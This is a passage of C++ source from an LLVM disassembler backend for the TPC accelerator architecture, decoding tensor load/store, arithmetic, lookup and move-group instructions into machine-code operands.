TPCII::SpuSwitchesSize);\n uint64_t Predicate = fieldFromInstruction(insn, TPCII::SpuPredicateStart, TPCII::SpuPredicateSize);\n bool Polarity = (bool)fieldFromInstruction(insn, TPCII::SpuPolarityBit, 1);\n\n auto *Disasm = static_cast<const TPCDisassembler *>(Decoder);\n (void)OpCode;\n assert(OpCode == TPCII::spuSUB);\n\n // Adjust instruction opcode.\n if (!isIRF(Dest, true)) {\n if (DecodeSRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (DecodeSRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (DecodeSRFRegisterClass(Inst, SrcB, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (isLongImmediate(SrcB) || isShortImmediate(SrcB))\n Inst.setOpcode(TPC::SUBsip);\n else\n Inst.setOpcode(TPC::SUBssp);\n } else {\n if (DecodeIRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (isLongImmediate(SrcA)) {\n Inst.addOperand(MCOperand::createImm(Disasm->getImmediate()));\n Inst.setOpcode(TPC::SUBiIp);\n } else if (isShortImmediate(SrcA)) {\n Inst.addOperand(MCOperand::createImm(getShortImmediate(SrcA)));\n Inst.setOpcode(TPC::SUBiIp);\n } else if (isIRF(SrcA, true)) {\n if (DecodeIRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n Inst.setOpcode(TPC::SUBIIp);\n } else {\n if (DecodeSRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n Inst.setOpcode(TPC::SUBsIp);\n }\n if (DecodeIRFRegisterClass(Inst, SrcB, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createImm((Switches >> 2) & 0x1f));\n Switches &= ~0x7c;\n }\n Inst.addOperand(MCOperand::createImm(OpType));\n Inst.addOperand(MCOperand::createImm(Switches));\n if (DecodeSRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n uint64_t PredValue = (Polarity << 5) | Predicate;\n if (decodeSPredicate(Inst, PredValue, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n return MCDisassembler::Success;\n}\n\nstatic MCDisassembler::DecodeStatus decodeLdTnsr(MCInst &Inst, uint64_t insn,\n uint64_t Address,\n const void *Decoder) {\n uint64_t OpCode = fieldFromInstruction(insn, TPCII::LdOpCodeStart, TPCII::LdOpCodeSize);\n uint64_t SrcA = fieldFromInstruction(insn, TPCII::LdSrcAStart, TPCII::LdSrcASize);\n uint64_t SrcB = fieldFromInstruction(insn, TPCII::LdSrcBStart, TPCII::LdSrcBSize);\n uint64_t Dest = fieldFromInstruction(insn, TPCII::LdDestStart, TPCII::LdDestSize);\n uint64_t Switches = fieldFromInstruction(insn, TPCII::LdSwitchesStart, TPCII::LdSwitchesSize);\n uint64_t Predicate = fieldFromInstruction(insn, TPCII::LdPredicateStart, TPCII::LdPredicateSize);\n bool IsVectorPredicate = (bool)fieldFromInstruction(insn, TPCII::LdVectorPredBit, 1);\n bool Polarity = (bool)fieldFromInstruction(insn, TPCII::LdPolarityBit, 1);\n\n auto *Disasm = static_cast<const TPCDisassembler *>(Decoder);\n bool IsVPRF = isVPRF(Dest);\n\n const unsigned SW_TNSR_ID_REG = (1 << 3);\n\n bool IsPartial = false;\n bool IsTnsrIsReg = false;\n\n if (Switches & SW_TNSR_ID_REG) {\n IsTnsrIsReg = true;\n Switches &= ~SW_TNSR_ID_REG;\n }\n\n if (Switches & TPCII::SW_PARTIAL) {\n IsPartial = true;\n Switches &= ~TPCII::SW_PARTIAL;\n }\n\n if (OpCode == TPCII::LD_TNSR) {\n if (IsPartial) {\n if (IsTnsrIsReg) {\n Inst.setOpcode(IsVPRF ? (IsVectorPredicate ? TPC::LD_TNSR_PGen2Tmm : TPC::LD_TNSR_PGen2Tmp) : (IsVectorPredicate ? TPC::LD_TNSR_PGen2Tvm: TPC::LD_TNSR_PGen2Tvp));\n } else {\n Inst.setOpcode(IsVPRF ? (IsVectorPredicate ? TPC::LD_TNSR_PGen2mm : TPC::LD_TNSR_PGen2mp) : (IsVectorPredicate ? TPC::LD_TNSR_PGen2vm : TPC::LD_TNSR_PGen2vp));\n }\n } else {\n if (IsTnsrIsReg) {\n Inst.setOpcode(IsVPRF ? (IsVectorPredicate ? TPC::LD_TNSRGen2Tmm : TPC::LD_TNSRGen2Tmp) : (IsVectorPredicate ? TPC::LD_TNSRGen2Tvm : TPC::LD_TNSRGen2Tvp));\n } else {\n Inst.setOpcode(IsVPRF ? (IsVectorPredicate ? TPC::LD_TNSRmm : TPC::LD_TNSRmp) : (IsVectorPredicate ? TPC::LD_TNSRvm : TPC::LD_TNSRvp));\n }\n }\n } else if (OpCode == TPCII::LD_TNSR_HIGH) {\n if (IsTnsrIsReg) {\n Inst.setOpcode(IsVPRF ? (IsVectorPredicate ? TPC::LD_TNSR_HIGHGen2Tmm : TPC::LD_TNSR_HIGHGen2Tmp) : (IsVectorPredicate ? TPC::LD_TNSR_HIGHGen2Tvm : TPC::LD_TNSR_HIGHGen2Tvp));\n } else {\n Inst.setOpcode(IsVPRF ? (IsVectorPredicate ? TPC::LD_TNSR_HIGHmm : TPC::LD_TNSR_HIGHmp) : (IsVectorPredicate ? TPC::LD_TNSR_HIGHvm : TPC::LD_TNSR_HIGHvp));\n }\n } else if (OpCode == TPCII::LD_TNSR_LOW) {\n if (IsTnsrIsReg) {\n Inst.setOpcode(IsVPRF ? (IsVectorPredicate ? TPC::LD_TNSR_LOWGen2Tmm : TPC::LD_TNSR_LOWGen2Tmp) : (IsVectorPredicate ? TPC::LD_TNSR_LOWGen2Tvm : TPC::LD_TNSR_LOWGen2Tvp));\n } else {\n Inst.setOpcode(IsVPRF ? (IsVectorPredicate ? TPC::LD_TNSR_LOWmm : TPC::LD_TNSR_LOWmp) : (IsVectorPredicate ? TPC::LD_TNSR_LOWvm : TPC::LD_TNSR_LOWvp));\n }\n }\n\n // Data\n if (DecodeVRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n\n // Index\n if (DecodeIRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n\n // Tensor\n if (IsTnsrIsReg) {\n Inst.addOperand(MCOperand::createReg(TPC::S27));\n } else {\n Inst.addOperand(MCOperand::createImm(SrcB));\n }\n\n // Start/Offset\n if (IsPartial) {\n Inst.addOperand(MCOperand::createReg(TPC::S30));\n }\n\n Inst.addOperand(MCOperand::createImm(Switches));\n\n if (DecodeVRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n uint64_t PredValue = (Polarity << 5) | (IsVectorPredicate << 4) | Predicate;\n if (IsVectorPredicate) {\n if (decodeVPredicate(Inst, PredValue, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n } else {\n if (decodeSPredicate(Inst, PredValue, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n }\n\n return MCDisassembler::Success;\n}\n\nstatic MCDisassembler::DecodeStatus decodeStTnsr(MCInst &Inst, uint64_t insn,\n uint64_t Address, const void *Decoder) {\n auto *Disasm = static_cast<const TPCDisassembler *>(Decoder);\n const FeatureBitset &Bits = Disasm->getSubtargetInfo().getFeatureBits();\n\n uint64_t OpCode = fieldFromInstruction(insn, TPCII::StOpCodeStart, TPCII::StOpCodeSize);\n uint64_t SrcA = fieldFromInstruction(insn, TPCII::StSrcAStart, TPCII::StSrcASize);\n uint64_t SrcB = fieldFromInstruction(insn, TPCII::StSrcBStart, TPCII::StSrcBSize);\n uint64_t SrcC = fieldFromInstruction(insn, TPCII::StSrcCStart, TPCII::StSrcCSize);\n uint64_t Switches = fieldFromInstruction(insn, TPCII::StSwitchesStart, TPCII::StSwitchesSize);\n uint64_t Predicate = fieldFromInstruction(insn, TPCII::StPredicateStart, TPCII::StPredicateSize);\n bool IsVectorPredicate = (bool)fieldFromInstruction(insn, TPCII::StVectorPredBit, 1);\n bool Polarity = (bool)fieldFromInstruction(insn, TPCII::StPolarityBit, 1);\n\n bool IsGaudi = Bits[TPC::FeatureGaudi];\n bool IsVPRF = isVPRF(SrcC);\n\n const unsigned SW_TNSR_ID_REG = (1 << 3);\n\n bool IsPartial = false;\n bool IsRMW = false;\n bool IsTnsrIsReg = false;\n\n if (Switches & SW_TNSR_ID_REG) {\n IsTnsrIsReg = true;\n Switches &= ~SW_TNSR_ID_REG;\n }\n if (Switches & TPCII::SW_PARTIAL) {\n IsPartial = true;\n Switches &= ~TPCII::SW_PARTIAL;\n }\n if (Switches & TPCII::SW_RMW_SEL) {\n IsRMW = true;\n Switches &= ~TPCII::SW_RMW_SEL;\n }\n\n bool IsDirect = Switches & TPCII::SW_DIRECT;\n\n if (OpCode == TPCII::ST_TNSR) {\n if (IsPartial) {\n if (IsTnsrIsReg) {\n if (IsRMW) {\n Inst.setOpcode(IsVPRF ? TPC::ST_TNSR_PGen2RTmp : TPC::ST_TNSR_PGen2RTvp);\n } else {\n Inst.setOpcode(IsVPRF ? TPC::ST_TNSR_PGen2Tmp : TPC::ST_TNSR_PGen2Tvp);\n }\n } else {\n if (IsRMW) {\n Inst.setOpcode(IsVPRF ? TPC::ST_TNSR_PGen2Rmp : TPC::ST_TNSR_PGen2Rvp);\n } else {\n Inst.setOpcode(IsVPRF ? TPC::ST_TNSR_PGen2mp : TPC::ST_TNSR_PGen2vp);\n }\n }\n } else {\n if (IsTnsrIsReg) {\n if (IsRMW) {\n Inst.setOpcode(IsVPRF ? TPC::ST_TNSR_RGen2Tmp : TPC::ST_TNSR_RGen2Tvp);\n } else {\n Inst.setOpcode(IsVPRF ? TPC::ST_TNSRGen2Tmp : TPC::ST_TNSRGen2Tvp);\n }\n } else {\n if (IsRMW) {\n Inst.setOpcode(IsVPRF ? TPC::ST_TNSR_RGen2mp : TPC::ST_TNSR_RGen2vp);\n } else {\n Inst.setOpcode(IsVPRF ? TPC::ST_TNSRmp : TPC::ST_TNSRvp);\n }\n }\n }\n }\n else if (OpCode == TPCII::ST_TNSR_HIGH) {\n if (IsTnsrIsReg) {\n if (IsRMW) {\n Inst.setOpcode(IsVPRF ? TPC::ST_TNSR_HIGH_RGen2Tmp : TPC::ST_TNSR_HIGH_RGen2Tvp);\n } else {\n Inst.setOpcode(IsVPRF ? TPC::ST_TNSR_HIGHGen2Tmp : TPC::ST_TNSR_HIGHGen2Tvp);\n }\n } else {\n if (IsRMW) {\n if (IsGaudi)\n Inst.setOpcode(IsVPRF ? TPC::ST_TNSR_HIGH_RGen2mp : TPC::ST_TNSR_HIGH_RGen2vp);\n else\n Inst.setOpcode(IsVPRF ? TPC::ST_TNSR_HIGH_Rmp : TPC::ST_TNSR_HIGH_Rvp);\n } else {\n Inst.setOpcode(IsVPRF ? TPC::ST_TNSR_HIGHmp : TPC::ST_TNSR_HIGHvp);\n }\n }\n }\n else if (OpCode == TPCII::ST_TNSR_LOW) {\n if (IsTnsrIsReg) {\n if (IsRMW) {\n Inst.setOpcode(IsVPRF ? TPC::ST_TNSR_LOW_RGen2Tmp : TPC::ST_TNSR_LOW_RGen2Tvp);\n } else {\n Inst.setOpcode(IsVPRF ? TPC::ST_TNSR_LOWGen2Tmp : TPC::ST_TNSR_LOWGen2Tvp);\n }\n } else {\n if (IsRMW) {\n Inst.setOpcode(IsVPRF ? TPC::ST_TNSR_LOW_RGen2mp : TPC::ST_TNSR_LOW_RGen2vp);\n } else {\n Inst.setOpcode(IsVPRF ? TPC::ST_TNSR_LOWmp : TPC::ST_TNSR_LOWvp);\n }\n }\n }\n\n\n // Index\n if (DecodeIRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n\n // Tensor\n if (IsTnsrIsReg) {\n Inst.addOperand(MCOperand::createReg(TPC::S28));\n } else {\n if (IsDirect) {\n if (DecodeSRFRegisterClass(Inst, SrcB, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n }\n else\n Inst.addOperand(MCOperand::createImm(SrcB));\n }\n\n // Data\n if (DecodeVRFRegisterClass(Inst, SrcC, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n\n // RMW\n if (IsRMW) {\n Inst.addOperand(MCOperand::createReg(TPC::S29));\n }\n\n // Start/Offset\n if (IsPartial) {\n Inst.addOperand(MCOperand::createReg(TPC::S31));\n }\n\n Inst.addOperand(MCOperand::createImm(Switches));\n\n uint64_t PredValue = (Polarity << 5) | (IsVectorPredicate << 4) | Predicate;\n if (IsVectorPredicate) {\n if (decodeVPredicate(Inst, PredValue, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n } else {\n if (decodeSPredicate(Inst, PredValue, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n }\n\n return MCDisassembler::Success;\n}\n\nstatic MCDisassembler::DecodeStatus decodeMovDualGroup(MCInst &Inst, uint64_t insn,\n uint64_t Address, const void *Decoder) {\n uint64_t Opcode = fieldFromInstruction(insn, TPCII::VpuOpCodeStart, TPCII::VpuOpCodeSize);\n uint64_t SrcA = fieldFromInstruction(insn, TPCII::VpuSrcAStart, TPCII::VpuSrcASize);\n uint64_t SrcB = fieldFromInstruction(insn, TPCII::VpuSrcBStart, TPCII::VpuSrcBSize);\n uint64_t SrcC = fieldFromInstruction(insn, TPCII::VpuSrcCStart, TPCII::VpuSrcCSize);\n uint64_t Dest = fieldFromInstruction(insn, TPCII::VpuDestStart, TPCII::VpuDestSize);\n uint64_t Switches = fieldFromInstruction(insn, TPCII::VpuSwitches1Start, TPCII::VpuSwitches1Size);\n Switches = Switches | (fieldFromInstruction(insn, TPCII::VpuSwitches2Start, TPCII::VpuSwitches2Size) <<3);\n uint64_t Predicate = fieldFromInstruction(insn, TPCII::VpuPredicateStart, TPCII::VpuPredicateSize);\n bool IsVectorPredicate = (bool)fieldFromInstruction(insn, TPCII::VpuVectorPredBit, 1);\n bool Polarity = (bool)fieldFromInstruction(insn, TPCII::VpuPolarityBit, 1);\n assert(Opcode == TPCII::vpuMOV_DUAL_GROUP);\n\n unsigned Type = Switches & TPCII::SW_MDG_TYPE_MASK;\n switch (Type) {\n case TPCII::SW_MDG_TYPE_SINGLE:\n Inst.setOpcode(IsVectorPredicate ?\n TPC::MOV_DUAL_GROUPm_Dis :\n TPC::MOV_DUAL_GROUPp_Dis);\n break;\n case TPCII::SW_MDG_TYPE_ALL:\n Inst.setOpcode(IsVectorPredicate ?\n TPC::MOV_DUAL_GROUP_ALLm_Dis :\n TPC::MOV_DUAL_GROUP_ALLp_Dis);\n break;\n case TPCII::SW_MDG_TYPE_PACK:\n Inst.setOpcode(IsVectorPredicate ?\n TPC::MOV_DUAL_GROUP_PACKm_Dis :\n TPC::MOV_DUAL_GROUP_PACKp_Dis);\n break;\n case TPCII::SW_MDG_TYPE_UNPACK:\n Inst.setOpcode(IsVectorPredicate ?\n TPC::MOV_DUAL_GROUP_UNPACKm_Dis :\n TPC::MOV_DUAL_GROUP_UNPACKp_Dis);\n break;\n }\n\n if (DecodeVRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (DecodeVRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (Type != TPCII::SW_MDG_TYPE_PACK) {\n auto *Disasm = static_cast<const TPCDisassembler *>(Decoder);\n Inst.addOperand(MCOperand::createImm(Disasm->getImmediate()));\n }\n\n unsigned SwitchSet = Switches | (SrcB << 8);\n if (Type == TPCII::SW_MDG_TYPE_ALL ||\n Type == TPCII::SW_MDG_TYPE_UNPACK)\n SwitchSet |= (SrcC << 16);\n Inst.addOperand(MCOperand::createImm(SwitchSet));\n\n if (DecodeVRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n\n uint64_t PredValue = (Polarity << 5) | (IsVectorPredicate << 4) | Predicate;\n if (IsVectorPredicate) {\n if (decodeVPredicate(Inst, PredValue, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n } else {\n if (decodeSPredicate(Inst, PredValue, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n }\n return MCDisassembler::Success;\n}\n\nstatic MCDisassembler::DecodeStatus decodeUdivAll(MCInst &Inst, uint64_t insn,\n uint64_t Address, const void *Decoder) {\n uint64_t Opcode = fieldFromInstruction(insn, TPCII::SpuOpCodeStart, TPCII::SpuOpCodeSize);\n uint64_t SrcA = fieldFromInstruction(insn, TPCII::SpuSrcAStart, TPCII::SpuSrcASize);\n uint64_t SrcB = fieldFromInstruction(insn, TPCII::SpuSrcBStart, TPCII::SpuSrcBSize);\n uint64_t Dest = fieldFromInstruction(insn, TPCII::SpuDestStart, TPCII::SpuDestSize);\n uint64_t Optype = fieldFromInstruction(insn, TPCII::SpuOpTypeStart, TPCII::SpuOpTypeSize);\n uint64_t Switches = fieldFromInstruction(insn, TPCII::SpuSwitchesStart, TPCII::SpuSwitchesSize);\n uint64_t Predicate = fieldFromInstruction(insn, TPCII::SpuPredicateStart, TPCII::SpuPredicateSize);\n bool Polarity = (bool)fieldFromInstruction(insn, TPCII::SpuPolarityBit, 1);\n assert(Opcode == TPCII::spuUDIV_STEP);\n (void) Opcode;\n\n auto *Disasm = static_cast<const TPCDisassembler *>(Decoder);\n const FeatureBitset &Bits = Disasm->getSubtargetInfo().getFeatureBits();\n\n if (Bits[TPC::FeatureGoya]) {\n Inst.setOpcode(TPC::UDIV_STEP);\n } else if (Bits[TPC::FeatureGaudi]) {\n Inst.setOpcode(TPC::UDIV_4STEP);\n }\n\n if (DecodeZRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n\n if (DecodeSRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n\n if (DecodeSRFRegisterClass(Inst, SrcB, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n\n Inst.addOperand(MCOperand::createImm(Optype));\n Inst.addOperand(MCOperand::createImm(Switches & (1ULL<<6)));\n if (DecodeZRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n\n uint64_t PredValue = (Polarity << 5) | Predicate;\n if (decodeSPredicate(Inst, PredValue, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n return MCDisassembler::Success;\n}\n\nstatic MCDisassembler::DecodeStatus decodeLookupLutPtr(MCInst &Inst, uint64_t insn,\n uint64_t Address, const void *Decoder) {\n uint64_t Opcode = fieldFromInstruction(insn, TPCII::LdOpCodeStart, TPCII::LdOpCodeSize);\n uint64_t SrcA = fieldFromInstruction(insn, TPCII::LdSrcAStart, TPCII::LdSrcASize);\n uint64_t SrcExtra = fieldFromInstruction(insn, TPCII::LdSrcBStart, TPCII::LdSrcBSize);\n uint64_t Dest = fieldFromInstruction(insn, TPCII::LdDestStart, TPCII::LdDestSize);\n uint64_t Switches = fieldFromInstruction(insn, TPCII::LdSwitchesStart, TPCII::LdSwitchesSize);\n uint64_t Predicate = fieldFromInstruction(insn, TPCII::LdPredicateStart, TPCII::LdPredicateSize);\n bool Polarity = (bool)fieldFromInstruction(insn, TPCII::LdPolarityBit, 1);\n assert(Opcode == TPCII::LOOKUP || Opcode == TPCII::LOOKUP_1C || Opcode == TPCII::LOOKUP_2C);\n\n if (Opcode == TPCII::LOOKUP_1C || Opcode == TPCII::LOOKUP){\n if (DecodeVRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n } else {\n if (DecodeDRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n }\n if (DecodeVRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n\n if (Switches & TPCII::SW_LUT_PTR) {\n if (DecodeSRFRegisterClass(Inst, SrcExtra, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n } else {\n return MCDisassembler::Fail;\n }\n\n Inst.addOperand(MCOperand::createImm(Switches));\n\n if (Opcode == TPCII::LOOKUP_1C || Opcode == TPCII::LOOKUP){\n if (DecodeVRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n } else {\n if (DecodeDRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n }\n uint64_t PredValue = (Polarity << 5) | Predicate;\n if (decodeSPredicate(Inst, PredValue, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n return MCDisassembler::Success;\n}\n\n\nstatic MCDisassembler::DecodeStatus decodeMovGroup(MCInst &Inst, uint64_t insn,\n uint64_t Address,\n const void *Decoder) {\n uint64_t Opcode = fieldFromInstruction(insn, 0, 6);\n\n if (Opcode != 50) {\n return MCDisassembler::Fail;\n }\n\n uint64_t tmp;\n\n tmp = fieldFromInstruction(insn, 39, 8);\n if (DecodeVRFRegisterClass(Inst, tmp, Address, Decoder) ==\n MCDisassembler::Fail) {\n return MCDisassembler::Fail;\n }\n\n tmp = fieldFromInstruction(insn, 6, 8);\n if (DecodeVRFRegisterClass(Inst, tmp, Address, Decoder) ==\n MCDisassembler::Fail) {\n return MCDisassembler::Fail;\n }\n\n auto *Disasm = static_cast<const TPCDisassembler *>(Decoder);\n Inst.addOperand(MCOperand::createImm(Disasm->getImmediate()));\n\n tmp = fieldFromInstruction(insn, 14, 6);\n Inst.addOperand(MCOperand::createImm(tmp));\n\n tmp = fieldFromInstruction(insn, 39, 8);\n if (DecodeVRFRegisterClass(Inst, tmp, Address, Decoder) ==\n MCDisassembler::Fail) {\n return MCDisassembler::Fail;\n }\n\n tmp = 0;\n tmp |= fieldFromInstruction(insn, 54, 1) << 5;\n tmp |= fieldFromInstruction(insn, 55, 4) << 0;\n\n if (fieldFromInstruction(insn, 59, 1) == 1) {\n if (decodeVPredicate(Inst, tmp, Address, Decoder) == MCDisassembler::Fail) {\n return MCDisassembler::Fail;\n }\n } else {\n if (decodeSPredicate(Inst, tmp, Address, Decoder) == MCDisassembler::Fail) {\n return MCDisassembler::Fail;\n }\n }\n \n return MCDisassembler::Success;\n}\n\nstatic MCDisassembler::DecodeStatus\ndecodeNearbyint(MCInst &Inst, uint64_t Insn, uint64_t Address, const void *Decoder) {\n uint64_t Opcode = fieldFromInstruction(Insn, TPCII::VpuOpCodeStart, TPCII::VpuOpCodeSize);\n uint64_t SrcA = fieldFromInstruction(Insn, TPCII::VpuSrcAStart, TPCII::VpuSrcASize);\n uint64_t SrcB = fieldFromInstruction(Insn, TPCII::VpuSrcBStart, TPCII::VpuSrcBSize);\n uint64_t Dest = fieldFromInstruction(Insn, TPCII::VpuDestStart, TPCII::VpuDestSize);\n uint64_t OpType = fieldFromInstruction(Insn, TPCII::VpuOpTypeStart, TPCII::VpuOpTypeSize);\n uint64_t Switches = fieldFromInstruction(Insn, TPCII::VpuSwitches1Start, TPCII::VpuSwitches1Size);\n Switches = Switches | (fieldFromInstruction(Insn, TPCII::VpuSwitches2Start, TPCII::VpuSwitches2Size) <<3);\n uint64_t Predicate = fieldFromInstruction(Insn, TPCII::VpuPredicateStart, TPCII::VpuPredicateSize);\n bool IsVectorPredicate = (bool)fieldFromInstruction(Insn, TPCII::VpuVectorPredBit, 1);\n bool Polarity = (bool)fieldFromInstruction(Insn, TPCII::VpuPolarityBit, 1);\n assert(Opcode == TPCII::vpuNEARBYINT);\n (void)Opcode;\n\n bool HasCnvrt = Switches & TPCII::SW_CNVRT;\n if (HasCnvrt) {\n if (DecodeDRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n } else {\n if (DecodeVRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n }\n if (DecodeVRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createImm(OpType));\n unsigned RM = Switches & 0x07;\n Switches &= ~0x07;\n Switches |= (SrcB << 8);\n Switches |= (RM << 16);\n Inst.addOperand(MCOperand::createImm(Switches));\n if (HasCnvrt) {\n if (DecodeDRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n } else {\n if (DecodeVRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n }\n uint64_t PredValue = (Polarity << 5) | (IsVectorPredicate << 4) | Predicate;\n if (IsVectorPredicate) {\n if (decodeVPredicate(Inst, PredValue, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n } else {\n if (decodeSPredicate(Inst, PredValue, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n }\n return MCDisassembler::Success;\n}\n\nstatic MCDisassembler::DecodeStatus decodeLD_G(MCInst &Inst, uint64_t insn,\n uint64_t Address, const void *Decoder) {\n auto *Disasm = static_cast<const TPCDisassembler *>(Decoder);\n\n uint64_t OpCode = fieldFromInstruction(insn, TPCII::LdOpCodeStart, TPCII::LdOpCodeSize);\n uint64_t SrcA = fieldFromInstruction(insn, TPCII::LdSrcAStart, TPCII::LdSrcASize);\n uint64_t Dest = fieldFromInstruction(insn, TPCII::LdDestStart, TPCII::LdDestSize);\n uint64_t Predicate = fieldFromInstruction(insn, TPCII::LdPredicateStart, TPCII::LdPredicateSize);\n bool IsVectorPredicate = (bool)fieldFromInstruction(insn, TPCII::LdVectorPredBit, 1);\n bool Polarity = (bool)fieldFromInstruction(insn, TPCII::LdPolarityBit, 1);\n\n assert(OpCode == TPCII::LD_G);\n (void)OpCode;\n unsigned SwitchValue = 0;\n\n if (isSRF(Dest, false)) {\n Inst.setOpcode(TPC::LD_Gsap);\n } else if (isSPRF(Dest, false)) {\n Inst.setOpcode(TPC::LD_Gpap);\n } else if (isVRF(Dest)) {\n Inst.setOpcode(TPC::LD_Gvap);\n } else {\n llvm_unreachable(\"Invalid register class in LD_G\");\n }\n\n\n if (DecodeVRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (DecodeADRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n\n Inst.addOperand(MCOperand::createImm(SwitchValue));\n\n\n if (DecodeVRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n uint64_t PredValue = (Polarity << 5) | (IsVectorPredicate << 4) | Predicate;\n if (IsVectorPredicate) {\n if (decodeVPredicate(Inst, PredValue, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n } else {\n if (decodeSPredicate(Inst, PredValue, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n }\n return MCDisassembler::Success;\n}\n\nstatic DecodeStatus readJmpInstruction(ArrayRef<uint8_t> Bytes,\n JmpExtraValues &Extra) {\n std::bitset<256> Bundle;\n const unsigned InstructionSize = 256 / 8;\n static_assert(sizeof(Bundle) == InstructionSize, \"Extra fields in std::bitset\");\n \n // We want to read exactly 256 bits of data.\n if (Bytes.size() < InstructionSize) {\n return MCDisassembler::Fail;\n }\n\n // Prepare entire bundle.\n memcpy(&Bundle, &Bytes.front(), InstructionSize);\n LLVM_DEBUG(dbgs() << \"== Decoding bundle: \" << to_hexstring(Bundle) << \"\\n\");\n\n std::bitset<256> bundle;\n uint8_t bt;\n int32_t val32;\n\n // Prepare Predicate field.\n bundle = Bundle >> ((Extra.MayCompress) ? TPCII::Gen3SPUPredicateStart:TPCII::SpuPredicateStart);\n memcpy(&bt, &bundle, 1);\n bt &= ((1 << ((Extra.MayCompress) ? TPCII::Gen3SPUPredicateSize:TPCII::SpuPredicateSize)) - 1);\n Extra.Predicate=bt;\n\n // Prepare Polarity bit.\n bundle = Bundle >> (TPCII::SpuPolarityBit + ((Extra.MayCompress) ? TPCII::Gen3SPUStart:TPCII::SPUStart));\n memcpy(&bt, &bundle, 1);\n bt &= 1;\n Extra.Polarity=bt;\n\n // Prepare Imm field.\n bundle = Bundle >> ((Extra.MayCompress) ? TPCII::Gen3ImmStart:TPCII::ImmStart);\n memcpy(&val32, &bundle, 4);\n Extra.Imm=val32;\n\n return MCDisassembler::Success;\n}\n\nstatic DecodeStatus readLoopInstruction(ArrayRef<uint8_t> Bytes,\n uint64_t &Size,\n std::bitset<256> &Bundle,\n uint64_t &InsnLoop,\n LoopExtraValues &Extra) {\n const unsigned InstructionSize = 256 / 8;\n static_assert(sizeof(Bundle) == InstructionSize, \"Extra fields in std::bitset\");\n \n // We want to read exactly 256 bits of data.\n if (Bytes.size() < InstructionSize) {\n Size = 0;\n return MCDisassembler::Fail;\n }\n\n // Prepare entire bundle.\n memcpy(&Bundle, &Bytes.front(), InstructionSize);\n LLVM_DEBUG(dbgs() << \"== Decoding bundle: \" << to_hexstring(Bundle) << \"\\n\");\n\n std::bitset<256> bundle;\n\n bundle = Bundle >> ((Extra.MayCompress) ? 2:0);\n memcpy(&InsnLoop, &bundle, 